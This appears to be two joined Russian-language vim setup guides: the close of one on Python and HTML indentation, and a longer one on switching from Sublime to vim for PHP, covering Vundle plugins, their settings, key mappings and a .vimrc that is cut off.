nnoremap <leader>Td :set ft=django<CR>


Отступы, табы, пробелы для разных языков
Это связано с тем, что в том же Python табы не рекомендуется к использованию. Поэтому будем заменять их на пробелы. Один таб = 4 пробелам. Плюс ко всему необходимо помнить, что всегда нужно сделать переход на следующую строку + отступ, чтобы было соответствие операторам for/if/while/и т.п.

Для других языков предостаточно будет указать размер Таба, и замены их на пробелы.

Добавьте этот фрагмент в конец своего конфига:

"=====================================================
" Languages support
"=====================================================
" --- Python ---
"autocmd FileType python set completeopt-=preview " раскомментируйте, в случае, если не надо, чтобы jedi-vim показывал документацию по методу/классу
autocmd FileType python setlocal expandtab shiftwidth=4 tabstop=8
\ formatoptions+=croq softtabstop=4 smartindent
\ cinwords=if,elif,else,for,while,try,except,finally,def,class,with
autocmd FileType pyrex setlocal expandtab shiftwidth=4 tabstop=8 softtabstop=4 smartindent cinwords=if,elif,else,for,while,try,except,finally,def,class,with

" --- JavaScript ---
let javascript_enable_domhtmlcss=1
autocmd FileType javascript set omnifunc=javascriptcomplete#CompleteJS
autocmd BufNewFile,BufRead *.json setlocal ft=javascript

" --- HTML ---
autocmd FileType html set omnifunc=htmlcomplete#CompleteTags

" --- template language support (SGML / XML too) ---
autocmd FileType html,xhtml,xml,htmldjango,htmljinja,eruby,mako setlocal expandtab shiftwidth=2 tabstop=2 softtabstop=2
autocmd bufnewfile,bufread *.rhtml setlocal ft=eruby
autocmd BufNewFile,BufRead *.mako setlocal ft=mako
autocmd BufNewFile,BufRead *.tmpl setlocal ft=htmljinja
autocmd BufNewFile,BufRead *.py_tmpl setlocal ft=python
let html_no_rendering=1
let g:closetag_default_xml=1
let g:sparkupNextMapping='<c-l>'
autocmd FileType html,htmldjango,htmljinja,eruby,mako let b:closetag_html_style=1
autocmd FileType html,xhtml,xml,htmldjango,htmljinja,eruby,mako source ~/.vim/scripts/closetag.vim

" --- CSS ---
autocmd FileType css set omnifunc=csscomplete#CompleteCSS
autocmd FileType css setlocal expandtab shiftwidth=4 tabstop=4 softtabstop=4


Подведение итогов
После прохождения столь длительного процесса настройки у нас получился достаточно гибкий инструмент для работы с Python. При этом, последующая установка, на другие ПК будет представлять только доустановку необходимых библиотек, переноса соответствующего конфига и установку плагинов.



После настройки мы получим примерно такой vim:

image

В режиме работы с HTML/JavaScript/XML будет все выглядеть примерно так:

image



Если кому-либо нужен больший функционал (например поддержка автокомплита для любых иных языков), то могу посоветовать лишь поискать необходимые плагины на GitHub'е или на офицальном сайте сайте vim'a.



Полезные ссылки:
Раздел script сайта vim.org — тут

wikia по vim'у — тут

OpenVim: уроки по азам в vim — тут

Шрифты для vim-airline — тут



Мой конфиг для vim на GitHub

https://habrahabr.ru/post/224979/
http://freecoder.ru/content/vim-kak-ide-dlya-razrabotki-na-python
http://linux.cpms.ru/?p=8339




Данная статья не раскрывает всех премудростей перемещения по тексту или его редактирования. Основные движения можно узнать в vimtutor, остальные комбинации изучаются в процессе работы. Некоторые из них, особо важные в процессе программирования, я освещу позже.



Я достаточно долгое время использовал sublime (около 4 лет) в качестве основной среды разработки, но в последнее время кое-что изменилось: я освоил слепой 9-ти пальцевый метод печати. В тот момент я начал понимать людей, которым неудобно тянуться к мышке или стрелочкам. Убирать пальцы с «домашних» позиций стало неестественно и непродуктивно. Тогда я включил vintage. Проблема, вроде бы, стала неактуальна, но чего-то не хватало. Не помню, что заставило меня пересесть за vim, но мне всегда нравилось, как в нем выделяются фигурные скобки (MatchParen) и как выглядит курсор :). Vim я пробовал и до этого, когда правил конфиги на сервере, правда, вся «магия» ограничивалась переходом в режим вставки и успешным сохранением/выходом из редактора.



Первое, что необходимо понять — vim из коробки годится разве что для правки конфигов, для комфортной работы с кодом необходимо установить несколько плагинов. Мне хватило 33. Я не ставил перед собой цель полностью копировать поведение sublime, скорее сделать работу в vim'е такой же простой и интуитивно понятной. Данное руководство описывает все установленные плагины, а также настройки, которые, по моему мнению, делают работу с плагинами и самим vim'ом более удобной. Нужные плагины вы можете найти на официальном сайте, хотя мне больше нравится vimawesome. В качестве окружения выступает Ubuntu 16.04 и консольный vim 7.4.



Все плагины находятся на github, где вы можете посмотреть краткое руководство по установке или использованию того или иного плагина, за подробным описанием стоит идти в help. Если из описания плагина не ясно, как его использовать, то, наверняка, нужная комбинация биндится в разделе горячих клавиш. Все настройки прописываем в ~/.vimrc или ~/.vim/vimrc, если файл не существует — создаем. Пожалуй, начнем.



vundle
Нет ничего приятного в том, чтобы ставить плагины вручную. Vundle выступает в роли пакетного менеджера, среди которых есть также pathogen, vim-plug и другие. Не могу сказать, что удобнее, так как пользовался только Vundle. Выбирайте на свое усмотрение.



Установленные плагины

// set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

// let Vundle manage Vundle, required
Plugin 'VundleVim/Vundle.vim'

// common
Plugin 'scrooloose/nerdtree'
Plugin 'valloric/youcompleteme'
Plugin 'xolox/vim-easytags'
Plugin 'majutsushi/tagbar'
Plugin 'tpope/vim-fugitive'
Plugin 'easymotion/vim-easymotion'
Plugin 'ctrlpvim/ctrlp.vim'
Plugin 'terryma/vim-multiple-cursors'
Plugin 'vim-airline/vim-airline'
Plugin 'vim-airline/vim-airline-themes'
Plugin 'scrooloose/nerdcommenter'
Plugin 'matze/vim-move'
Plugin 'raimondi/delimitmate'
Plugin 'mattn/emmet-vim'
Plugin 'scrooloose/syntastic'
Plugin 'tpope/vim-surround'
Plugin 'sirver/ultisnips'
Plugin 'honza/vim-snippets'
Plugin 'xolox/vim-session'
Plugin 'xolox/vim-misc'
Plugin 'SyntaxAttr.vim'
Plugin 'dyng/ctrlsf.vim'
Plugin 'rking/ag.vim'
Plugin 'godlygeek/tabular'

// php
Plugin 'stanangeloff/php.vim'
Plugin 'sumpygump/php-documentor-vim'
Plugin 'arnaud-lb/vim-php-namespace'

// javascript
Plugin 'pangloss/vim-javascript'

// html
Plugin 'othree/html5.vim'

// twig
Plugin 'evidens/vim-twig'

// css
Plugin 'mtscout6/vim-tagbar-css'

// colors
Plugin 'damage220/solas.vim'
Plugin 'nanotech/jellybeans.vim'
Plugin 'mhartington/oceanic-next'

call vundle#end()
Команды

// просмотр всех установленных плагинов
:PluginList

// устанавливаем плагины
:PluginInstall

// удаляем ненужные плагины
:PluginClean

// поиск необходимого плагина
:PluginSearch foo
Установка

git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim
Зависимости

git и curl
solas
Из всех цветовых тем, что я пробовал, больше всего понравилась jellybeans, но через некоторое время решил создать свою тему. К счастью, узнать названия всех групп не составило труда, к несчастью, терминалы очень ограничены в цветовой палитре и поддерживают, как правило, 256 цветов. Solas основана на стандартной теме в PhpStorm.

move
Плагин предназначен для перемещения текущей строки или выделенных строк вверх или вниз.



Пользовательские настройки

// биндим команды перемещения на <C-j> и <C-k>
let g:move_key_modifier = 'C'
nerdtree
Самый популярный плагин, предназначен для работы с файловой системой. Добавляет удобные горячие клавиши для создания, перемещения и удаления файлов и директорий.



Пользовательские настройки

// автоматически обновлять буфер после переименовывания файла
let NERDTreeAutoDeleteBuffer = 1
php-documentor
Плагин создает doc-блоки для классов, свойств класса, функций.

php
Плагин предоставляет улучшенную поддержку синтаксиса. Обновлен список констант, классов и функций до версии 5.6.

html5
Плагин предоставляет улучшенную поддержку синтаксиса и отступов.

javascript
Плагин предоставляет улучшенную поддержку синтаксиса и отступов.

twig
Плагин добавляет поддержку шаблонов twig.

fugitive
Удобная обертка над git, предоставляет множество команд.

ultisnips
Плагин добавляет поддержку сниппетов в vim.



Полезные комбинации

<Tab> - вставить сниппет
snippets
Набор сниппетов для большинства языков программирования.



Зависимости

snipmate или ultisnips
SyntaxAttr
Плагин показывает группу синтаксиса, ссылки (hi link) и цвет группы. Удобный плагин для создания собственных цветовых схем.

ctrlp
За 3 года я так сильно привык к нечеткому поиску, что с трудом представляю разработку без этой возможности. Насколько я помню, это был первый плагин, который я установил. Ctrlp производит поиск по тегам, файлам, буферам и последним активным файлам.



Команды

// поиск тега в текущем файле (аналог Ctrl + R в sublime)
:CtrlPBufTag
Полезные комбинации

<C-j> и <C-k> - для перемещения курсора вниз и вверх соответственно
<Enter> - открыть в текущем окне
<C-t> - открыть в новой вкладке
<C-v> - открыть файл слева/справа (зависит от настройки)
<C-x> - открыть файл сверху/снизу (зависит от настройки)
<C-d> - переключение режима поиска по имени файла или полному пути
Пользовательские настройки

// По умолчанию, CtrlP ищет файлы по их полному пути, что мне показалось странным, поскольку на запрос "repo", имея следующую структуру файлов:
// project/src/Repository/Repository.php
// project/src/Repository/Foo.php
// CtrlP может придать больший вес файлу Foo.php. К счастью, CtrlP, как и многие другие плагины для vim'a, имеет гибкую настройку. Для решения проблемы нужно прописать
let g:ctrlp_by_filename = 1

// откуда начинать поиск. w - ближайшая директория, которая содержит признаки наличия CVS (.git, .svn). r - текущая директория (pwd).
let g:ctrlp_working_path_mode = 'wr'

// по умолчанию, как не сложно догадаться, поиск активируется по нажатию <C-p>, но т.к. у меня стоит другая комбинация (далее по тексту), я решил сбросить стандартное поведение.
let g:ctrlp_map = ''

// убираем переменные из списка тегов
let g:ctrlp_buftag_types = {
	\'php': '--php-kinds=icdf'
\}
Зависимости

Для поиска по тегам нужен ctags
tagbar
Мне нравится миникарта в sublime, взглянув на неё можно сразу понять структуру файла. Естественно, я хотел такую же и в vim, и, надо же, плагин так и называется — vim-minimap. К сожалению, плагин мне совершенно не понравился. Нужна была альтернатива, и она нашлась — tagbar. Плагин показывает список тегов в текущем файле, группируя их и сортируя в нужном порядке.



Пользовательские настройки

// сортировать в том порядке, в котором тег появляется в коде, а не по имени
let g:tagbar_sort = 0

// замена стандартных стрелочек раскрытия/сворачивания группы тегов
let g:tagbar_iconchars = ['+', '-']

// обеспечиваем переключатель
let g:tagbar_map_close = '<C-m>'

// Убираем переменные из списка
let g:tagbar_type_php = {
	\'ctagstype': 'php',
	\'kinds': [
		\'i:interfaces',
		\'c:classes',
		\'d:constants',
		\'f:functions'
	\]
\}
Зависимости

ctags
tagbar-css
Плагин добавляет поддержку css, less и scss для tagbar. Помимо установки самого плагина, пропишите следующие строки в ваш ~/.ctags

--langdef=css
--langmap=css:.css.less.scss
--regex-css=/^[ \t]*@([A-Za-z0-9_-]+)/@\1/v,var,variables/
--regex-css=/^[ \t]*\.([A-Za-z0-9_-]+)/.\1/c,class,classes/
--regex-css=/^[ \t]*#([A-Za-z0-9_-]+)/#\1/i,id,ids/
--regex-css=/^[ \t]*(([A-Za-z0-9_-]+[ \t\n,]+)+)\{/\1/t,tag,tags/
--regex-css=/^[ \t]*@media\s+([A-Za-z0-9_-]+)/\1/m,media,medias/
Зависимости

tagbar
easymotion
Один из лучших плагинов, на мой взгляд. Позволяет моментально перемещаться по коду, введя всего несколько символов.



Пользовательские настройки

// отключаем зависимость от регистра
let g:EasyMotion_smartcase = 1

// отключаем тень (в момент выбора цели весь текст помечается как комментарий)
let g:EasyMotion_do_shade = 0

// какой группой подсвечивать цели
hi link EasyMotionTarget Search
Примечание

Поскольку easymotion работает с буфером напрямую, постоянно изменяя его, местами может появляться неприятный баг, когда вы попытаетесь отменить все изменения. Vim сообщит, что вы восстановили первоначальное состояние, но при попытке выйти из редактора, появится предупреждение о несохраненном буфере.
session
Плагин делает работу с сессиями более удобной, предоставляя обертку над стандартной командой :mksession.



Команды

// открыть сессию. Если вы закрыли терминал или случайно нажали <C-z>, необходимо добавить "!" в конце команды, например, "OpenSession! name"
:OpenSession name

// сохранить сессию
:SaveSession name
Пользовательские настройки

// открывать сессию при старте. Опция игнорируется, если мы передаем vim некие файлы
let g:session_autoload = 'yes'

// включить автосохранение
let g:session_autosave = 'yes'

// сохранять состояние каждые 5 минут
let g:session_autosave_periodic = 5

// не сообщать ничего при автосохранении
let g:session_autosave_silent = 1

// открывать последнюю рабочую сессию вместо стандартной
let g:session_default_to_last = 1
Зависимости

misc
misc
Плагин, необходимый для работы session.
emmet
Об emmet'e было сказано слишком много, чтобы писать о нем тут.



Пользовательские настройки

// разворачивать аббревиатуру по нажатию на <C-e>
let g:user_emmet_expandabbr_key = '<C-e>'
delimitmate
Плагин ставит отступы между любыми скобками или кавычками.



Пользовательские настройки

// включить отступы по нажатию на enter
let delimitMate_expand_cr = 1

// включить отступы по нажатию на пробел. " |" превращается в " | "
let delimitMate_expand_space = 1

// для html, необходимо дописать >:<, чтобы выставлялись правильные отступы
au FileType vim,html let b:delimitMate_matchpairs = "(:),[:],{:},<:>,>:<"
syntastic
Плагин для проверки синтаксиса. В readme советуют ставить следующие настройки, не спорим.



Пользовательские настройки

let g:syntastic_always_populate_loc_list = 1
let g:syntastic_auto_loc_list = 1
let g:syntastic_check_on_open = 1
let g:syntastic_check_on_wq = 0
NERDCommenter
От плагина для комментирования кода я хотел добиться следующего поведения: для комментирования участка кода используем <C-?>, для комментирования строки, раскомментирования строки/фрагмента кода служит <C-/>. Насколько я помню, из всех установленных мною плагинов (около 4-х), ни один в точности не справился с этой задачей. Чтобы раскомментировать фрагмент кода приходится использовать стандартную комбинацию — \<Leader\>cu, где \<Leader\> — ",". Это не стандартная клавиша, по умолчанию используется "\". В остальном такое же поведение, как и в sublime.



Пользовательские настройки

// количество пробелов после символа(ов) комментария
let g:NERDSpaceDelims = 1
airline
Плагин отображает удобную строку статуса, которую легко кастомизировать под свои нужды. Также можно позволить плагину управлять внешним видом вкладок. Для корректной работы нужны пропатченные шрифты, которые вы можете взять отсюда.



Пользовательские настройки

// solarized не входит в стандартную поставку, необходимо загрузить набор тем
let g:airline_theme='solarized'

// использовать пропатченные шрифты
let g:airline_powerline_fonts = 1

// включить управление табами
let g:airline#extensions#tabline#enabled = 1

// всегда показывать tabline
let g:airline#extensions#tabline#tab_min_count = 0

// такое же поведение, как и в sublime: если файл с уникальным именем - показывается только имя, если встречается файл с таким же именем, отображается также и директория
let g:airline#extensions#tabline#formatter = 'unique_tail'

// скрыть буферы
let g:airline#extensions#tabline#show_buffers = 0

// имя файла + расширение :help filename-modifiers
let g:airline#extensions#tabline#fnamemod = ':t'

// убираем раздражающие ненужные красные панели с предупреждениями или ошибками. Предупреждения, как по мне, не нужны, поскольку ругаются даже на trailing-spaces и разные отступы: например табы и пробелы (привет от phpDoc). Для ошибок и так открывается дополнительное окно. Впрочем, вам решать.
let g:airline_section_warning = ''
let g:airline_section_error = ''

// убираем "X" для закрытия вкладки мышью (мышью!?)
let g:airline#extensions#tabline#show_close_button = 0

// убираем разделитель для вкладок
let g:airline#extensions#tabline#left_alt_sep = ''

// отключаем tagbar
let g:airline#extensions#tagbar#enabled = 0

// показывать номер вкладки
let g:airline#extensions#tabline#show_tab_nr = 1

// показывать только номер вкладки
let g:airline#extensions#tabline#tab_nr_type = 1
airline-themes
Набор тем для airline.



Зависимости

airline
youcompleteme
YCM предоставляет быстрое автодополнение кода с нечетким поиском. Самый «тяжелый» плагин из всех и самый неприятный в установке. Весит 275.9 mb и заметно замедляет запуск редактора. Для сравнения, все остальные плагины вместе взятые занимают 15.1 mb. Для работы плагина нужен vim, скомпилированный с поддержкой python. Для проверки выполните команду vim --version | grep "+python" в вашем терминале. Я не люблю компилировать из исходников и, к счастью, в моём репозитории есть пакет «vim-nox» с поддержкой скриптовых языков.



Пользовательские настройки

// ycm сам определяет подходящую версию интерпретатора, но, почему-то, с 3 версией дополнения не показываются - ставим вторую.
let g:ycm_server_python_interpreter='python'

// закрыть превью после ввода, например, при нажатии на закрывающую скобку ")"
let g:ycm_autoclose_preview_window_after_completion = 1

// позволяем ultisnips использовать tab для раскрытия сниппетов
let g:ycm_key_list_select_completion = ['<Down>']
Установка

Помимо установки самого плагина, необходимо запустить "install.py" с необходимыми флагами, подробнее в help.
multiple-cursors
Название говорит само за себя — плагин позволяет работать с несколькими курсорами одновременно.



Команды

// выделить все вхождения
:MultipleCursorsFind pattern
Полезные комбинации

<C-n> - выделение следующего слова под курсором
<C-p> - выделение предыдущего слова под курсором
<C-x> - пропустить текущее слово и перейти к следующему

// После того, как вы выделили все слова, можно приступить к редактированию:
c - удалить и перейти в режим редактирования
I - вставить в начало
A - вставить в конец
ctrlsf
Долгое время меня пугала мысль, как я буду реализовывать замену строки по всему проекту, да еще с предпросмотром и… подтверждением. И зря — для vim'a нашелся (причем почти сразу) замечательный плагин, который предоставляет необходимый функционал. Достаточно набрать команду :CtrlSF pattern [filemask] и откроется окно со всеми вхождениями. Редактируем как обычный файл, сохраняем (:w). После чего, плагин запросит подтверждение и укажет сколько файлов подвергнутся изменениям. Будьте осторожны, если нажать на \<Esc\>, то данные всё равно закоммитятся. Впрочем, всегда можно отменить изменения (u) и сохранить буфер заново. Хорошо сочетается с множественными курсорами, особенно с командой :MultipleCursorsFind. CtrlSF — это абстракция над ack/ag, так что один из этих плагинов придется установить. Про установку ag читать ниже.



Команды

:CtrlSF foo *.php
Полезные комбинации

<C-j> и <С-k> - перейти к следующему и предыдущему вхождению
Пользовательские настройки

// перемещаем окно вправо
let g:ctrlsf_position = 'right'
Зависимости

ack или ag
ag
Обертка над системным ag. По заявлению автора, за счет распараллеливания, ag работает в 34 раза быстрее ack, подробнее. Для работы плагина нужно установить сам ag. В ubuntu пакет называется silversearcher-ag.

php-namespace
Плагин для более удобной работы с оператором «use». Подключает необходимый класс, используя тег-файл.



Зависимости

ctags, сгенерированный тег-файл.
surround
Плагин позволяет добавлять, заменять или удалять окружающие текст кавычки, скобочки или xml-теги. ys, cs, ds — служат для вставки, замены и удаления обрамляющих символов соответственно.



Полезные комбинации

ds' - удалить одинарные кавычки
dst - удалить обрамляющий тег
cs'" - заменить одинарные кавычки на двойные
ysiw" - поместить слово в двойные кавычки
ysiw<a> - поместить текст в тег <a>
tabular
Плагин выравнивает текст по определенному шаблону, например "=" или "|". Я не любитель «бьюти» кода, но недавно, когда я делал шпаргалку по временам в английском языке, плагин оказался весьма полезным.



Команды

// выравнивает текст по символу "|"
:Tabularize /|
ctags
Для работы таких плагинов, как CtrlP, TagBar и php-namespace вам понадобится ctags — мощная утилита для анализа исходного кода программ. Ctags создает тег-файл, в котором содержатся названия классов, функций, переменных, ..., а также их позиции. Ctags 5.9 поддерживает 43 языка из коробки, но может быть расширен при помощи регулярных выражений (смотреть tagbar-css).



Полезные ключи

// список поддерживаемых языков
--list-languages

// список тегов для конкретного языка
--list-kinds=lang
Установка

Ищите в своих репозиториях пакет со схожим именем. Например, в ubuntu - это exuberant-ctags
Примечание

Для крупных проектов имеет смысл создать какой-нибудь "tags.vendor" и добавить этот файл в переменную "tags"
easytags
Тег-файл предоставляет много информации, но создавать его вручную — дело не из приятных. Easytags избавит вас от рутины, достаточно один раз прописать :UpdateTags -R в новом проекте, а все последующие изменения плагин проиндексирует сам.



Пользовательские настройки

// записываем теги локально для каждого проекта, вместо ~/.vimtags
let g:easytags_file = './tags'

// отключаем подсветку тегов
let g:easytags_auto_highlight = 0

// события (:help autocmd-events), которые слушает easytags
let g:easytags_events = ['BufWritePost']

// не блокировать vim во время обновления тег-файла
let g:easytags_async = 1
Зависимости

ctags


Довольно сложно описать каждый плагин подробно, да и незачем, наверное. Нет никакого смысла перечислять все команды, я лишь описал те, которые сам использовал, но и без того статья получилась весьма объемной. Теперь давайте рассмотрим возможности самого редактора.



Настройки
За подробностями идем в :help setting

// Для работы с табами, вместо пробелов, присвойте tabstop и shiftwidth одинаковые значения
set tabstop=4
set shiftwidth=4
set softtabstop=4

// автоматически обновлять файл при его изменении
set autoread

// настраиваем отступы
set autoindent
set smartindent

// показывать относительные номера строк. Удобно тем, что можно легко переходить к нужной строке командой 10j, например
set rnu

// всегда показывать строку статуса
set laststatus=2

// Время, которое vim ждет для ввода следующего символа комбинации клавиш.
// Например, если в vim'e существует комбинация "df", то после ввода символа "d" у вас есть пол секунды,
// чтобы ввести "f", иначе в буфер вставиться символ "d".
set timeoutlen=500

// эту команду я плохо понимаю. В документации написано, что это время ожидания для ввода последовательностей клавиш,
// в таком случае, я не знаю в чем отличие от предыдущей команды. Тем не менее, когда ожидание равно нулю, то при нажатии <Esc>
// для выхода из визуального режима или закрытия всплывающего меню, нет никакой заминки, что весьма приятно.
set ttimeoutlen=0

// более удобная работа с кириллицей. При нажатии <C-6> в режиме вставки, vim изменит режим с "Insert" на "Insert (lang)",
// после чего будут вводиться русские символы. Если вернуться в нормальный режим, то все команды будут работать.
set keymap=russian-jcukenwin
set iminsert=0
set imsearch=0

// Выставляем кодировку
set encoding=utf-8
set termencoding=utf-8

// Отключаем swap-файлы. Ставьте на свое усмотрение, мне эта возможность чаще мешала
set noswapfile

// Если в течении этого времени, вы не будете перемещать курсор или печатать, vim обновит swap-файл,
// а также активирует событие CursorHold. Некоторые плагины, вроде tagbar, слушают это событие для обновления состояния.
// Так как swap-файлы я не использую, решил сделать значение поменьше (по умолчанию - 4000).
set updatetime=500

// :vsplit открывает окна справа
set splitright

// :split открывает окна снизу
set splitbelow

// убираем совместимость с vi
set nocompatible

// ищем тег-файл в текущей директории
set tags=./tags;

// Игнорировать регистр при поиске. Намного удобнее вводить команды без учета регистра, например ctrlsf, вместо CtrlSF.
// Для поиска с учетом регистра, нужно поместить \C в любое место искомой строки
set ignorecase

// например, при переходе к тегу, vim может ругаться, что текущий буфер не сохранен, hidden решает эту проблему
set hidden

// подсвечивать все совпадения при поиске
set hlsearch

// подсвечивать совпадение во время поиска на лету
set incsearch

// выделять строку, на которой находится курсор
set cursorline

// количество cтрок в всплывающем окне
set pumheight=10

// использовать пробелы в качестве разделителей окон. Не забудьте поставить в конце строки символ пробела
set fillchars+=vert:\ 

// меняем mapleader на ",", по умолчанию - "\"
let mapleader=","

// рекомендуемые настройки для Vundle
filetype off
filetype plugin on
filetype plugin indent on

// включить подсветку синтаксиса
syntax enable

// выбираем темный фон
set background=dark

// выбираем цветовую схему
colorscheme solas
Комбинации клавиш
Синтаксис создания комбинации, как не сложно догадаться, следующий:

[[mode]nore]map keys command
где mode — режим или окружение, где работает комбинация

nore (non-recursive) — не «раскрывать» комбинацию, а использовать значение по умолчанию

:map j gg // j = gg
:map Q j // Q = gg
:noremap W j // W = j

<CR> - enter
<C> - Ctrl
Подробнее про назначение комбинаций

// выходим в "нормальный" режим по df. "d" используется гораздо чаще, чем "j"
// наверное, забиндить "jj" было бы куда уместнее, но я уже привык, к тому же так быстрее
imap df <Esc>l

// часто нужно отделять блоки кода пустой строкой, например, перед return
nnoremap 2o o<CR>

// тоже самое, что и предыдущая команда, только в другом направлении
nnoremap 2O O<Esc>O

// передвинуть текущую вкладку вправо
nnoremap tm :tabm +1<CR>

// передвинуть текущую вкладку влево
nnoremap tM :tabm -1<CR>

// убрать подсветку найденных совпадений
nnoremap <C-h> :noh<CR>

// комментируем фрагмент кода
map <C-?> <plug>NERDCommenterComment

// комментируем строку, повторное нажатие убирает комментарий
map <C-_> <plug>NERDCommenterToggle

// создаем phpDoc для функций, классов, свойств
nnoremap <C-d> :call PhpDoc()<CR>

// показать окно с тегами
nnoremap <C-m> :TagbarToggle<CR>

// показать дерево проекта
nnoremap <C-p> :NERDTreeToggle<CR>

// показать syntax group для участка кода, а также цвет этой группы. Удобно при создании своей цветовой схемы
nnoremap <C-g> :call SyntaxAttr()<CR>

// мне гораздо удобнее нажать <C-j> и <C-k> для выбора последующего и предыдущего значения, чем <C-n> и <C-p>
inoremap <C-j> <C-n>
inoremap <C-k> <C-p>
cnoremap <C-j> <C-n>
cnoremap <C-k> <C-p>

// прописываем use
autocmd FileType php noremap <C-u> :call PhpInsertUse()<CR>

// открыть ~/.vimrc
nnoremap <F4> :tabe ~/.vimrc<CR>:tabm 0<CR>

// сохранить ~/.vimrc и применить изменения
nnoremap <F5> :w<CR>:so $MYVIMRC<CR>
Мне не нравится идея менять стандартное поведение клавиш, но следующие комбинации я нашел весьма удобными для себя. Я редко пользуюсь поиском символа в строке (f и F), а такие команды, как J и K, я ни разу так и не использовал.

// переместиться в начало видимой области
nnoremap K H

// переместиться в конец видимой области
nnoremap J L

// открыть предыдущее окно
nnoremap H gT

// открыть следующее окно
nnoremap L gt

// окно поиска файлов
nnoremap F :CtrlP<CR>
nnoremap ff :CtrlP<CR>

// find tag - нечеткий поиск тега в файле
nnoremap ft :CtrlPBufTag<CR>

// find buffer - нечеткий поиск буфера
nnoremap fb :CtrlPBuffer<CR>

// find symbol - переместиться к любому символу в файле
nmap fs <Plug>(easymotion-s)

// find line - переместиться к любому символу в строке
nmap fl <Plug>(easymotion-sl)

// find current - найти текущий файл в дереве проекта
nnoremap fc :NERDTreeFind<CR>

// find pattern - поиск слова в проекте
nnoremap fp :CtrlSF 
Самой сложной задачей для меня оказалась установка youcompleteme настройка переключения вкладок <Alt-n>, на которую я потратил часов 5 (5, Карл!). Как я только не писал: <Alt-1>, <A-1>, <M-1>, ^[1 — escape-последовательность (<C-v>, потом Alt + 1). Читал :help :map-alt-keys, создавал файл ~/.inputrc с содержанием set convert-meta on. Забавно, но в xterm всё работало. Gnome-terminal преподнес мне уйму незабываемых ощущений, пока я не наткнулся на этот ответ на SO. Должен признаться, я почти сразу нашел этот ответ, но мне показалось, что программировать комбинацию клавиш, хм, слишком. Немного изменив пример, получаем:

for c in range(1, 9)
	exec "set <A-".c.">=\e".c
	exec "map \e".c." <A-".c.">"

	let n = c - '0'
	exec "map <M-". n ."> ". n ."gt"
endfor
Это какой-то мазохизм, и я верю, что есть что-то более адекватное (напишите в комментариях, если это так, пожалуйста), просто в тот момент я был рад любому решению.

Некоторые стандартные комбинации
// вставка из системного буфера. Нужен vim, скомпилированный с флагом "clipboard". Чтобы проверить, наберите vim --version | grep "+clipboard" в вашем терминале
<C-r> *

// центрировать экран на текущей строке
zz

// перейти к определению тега (необходим тег-файл)
<C-]>

// вернуться на уровень выше по стеку вызовов команды <C-]>
<C-t>

// вставка последнего удаленного(d) или скопированного(y) текста. Удобно использовать в режиме вставки или в режиме командной строки
<C-r> "
Аббревиатуры
Vim позволяет создавать полезные сокращения команд, просто пропишите в вашем .vimrc следующее «abbr help tab help» и после ввода «help», и нажатия пробела, vim раскроет её до «tab help». Чтобы избежать «раскрытия», перед пробелом нажмите <C-v>.


Заключение: vim дает свободу, несравнимую ни с чем. Возможно, emacs может составить конкуренцию, но с ним пока не работал. Переход от sublime'a к vim'у напоминает мне переучивание с 4-х пальцевой (насколько я помню) печати на 9-ти пальцевую. Не поймите меня неправильно, sublime замечательный редактор, речь о том, что поначалу вы теряете привычную скорость; проходит время, продуктивность возвращается до прежнего уровня и начиная с этого момента вы наращиваете скорость. Все основные функции, которыми я пользовался в sublime, перекочевали в vim в том или ином виде. Самое время отрабатывать комбинации и расширять стандартные возможности редактора с помощью viml. Есть еще одна особенность, которая напоминает мне смену основной ОС с Windows на Ubuntu. В Windows я пользовался терминалом, наверное, раз 10 за всё время. Я не могу сказать, что мне чего-то не хватало, вполне всё устраивало. Но когда переходишь на linux, то волей-неволей начинаешь использовать консольные команды. Не осознанно (и это важно) вы получаете инструмент (bash) для решения определенных задач. В vim'e приходится постоянно что-то гуглить в поисках решения тех или иных проблем. Очень часто я вижу решения, которые отличаются от привычной настройки sublime или похожих редакторов в стиле key:value. Вы в буквальном смысле программируете свой редактор. Почти сразу вы видите, как инициализировать переменную, чуть позже — как применить ту или иную настройку для определенного типа файлов, еще позже — как слушать события или создавать циклы. По крупицам информации вы получаете представление про viml и, возможно, скоро напишите свой первый плагин. Конечно, всё это можно узнать просто открыв документацию к языку, но, должен сказать, желания освоить python или api sublime у меня так и не появилось. Лично я уверен, что vim приберег для меня еще немало приятных сюрпризов, а мой .vimrc, похоже, будет меняться всё время, пока я работаю с этим редактором.



Несколько вопросов
1. Если буфер изменился, airline выделит таб другим цветом, тем не менее, когда мы переключаемся на другую вкладку, измененная вкладка окрашивается в обычный цвет. Из-за этого, при выходе из редактора, часто получаю предупреждение, что буфер не сохранен. Можно ли подсвечивать все измененные вкладки, независимо от того, активны они или нет?

2. В readme nerdtree сказано, что можно изменить символ открытия/закрытия директории прописав g:NERDTreeDirArrowExpandable и g:NERDTreeDirArrowCollapsible. Однако, при попытке выставить "+" и "-", nerdtree падает. Кто-нибудь пробовал починить?

3. Как подружить youcompleteme и omnicompletion? Приходится идти напрямую, нажимая <C-x><C-o>.

4. В начале каждого php-скрипта стоит "<?php", когда курсор находится над "<", то vim ищет ближайший ">". Как отключить подсветку этого символа для php-файлов? Что-то на подобии:

au FileType php set matchparen-=<
.vimrc целиком
" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

" let Vundle manage Vundle, required
Plugin 'VundleVim/Vundle.vim'

" common
Plugin 'scrooloose/nerdtree'
Plugin 'valloric/youcompleteme'
Plugin 'xolox/vim-easytags'
Plugin 'majutsushi/tagbar'
Plugin 'tpope/vim-fugitive'
Plugin 'easymotion/vim-easymotion'
Plugin 'ctrlpvim/ctrlp.vim'
Plugin 'terryma/vim-multiple-cursors'
Plugin 'vim-airline/vim-airline'
Plugin 'vim-airline/vim-airline-themes'
Plugin 'scrooloose/nerdcommenter'
Plugin 'matze/vim-move'
Plugin 'raimondi/delimitmate'
Plugin 'mattn/emmet-vim'
Plugin 'scrooloose/syntastic'
Plugin 'tpope/vim-surround'
Plugin 'sirver/ultisnips'
Plugin 'honza/vim-snippets'
Plugin 'xolox/vim-session'
Plugin 'xolox/vim-misc'
Plugin 'SyntaxAttr.vim'
Plugin 'dyng/ctrlsf.vim'
Plugin 'rking/ag.vim'
Plugin 'godlygeek/tabular'

" php
Plugin 'stanangeloff/php.vim'
Plugin 'sumpygump/php-documentor-vim'
Plugin 'arnaud-lb/vim-php-namespace'

" javascript
Plugin 'pangloss/vim-javascript'

" html
Plugin 'othree/html5.vim'

" twig
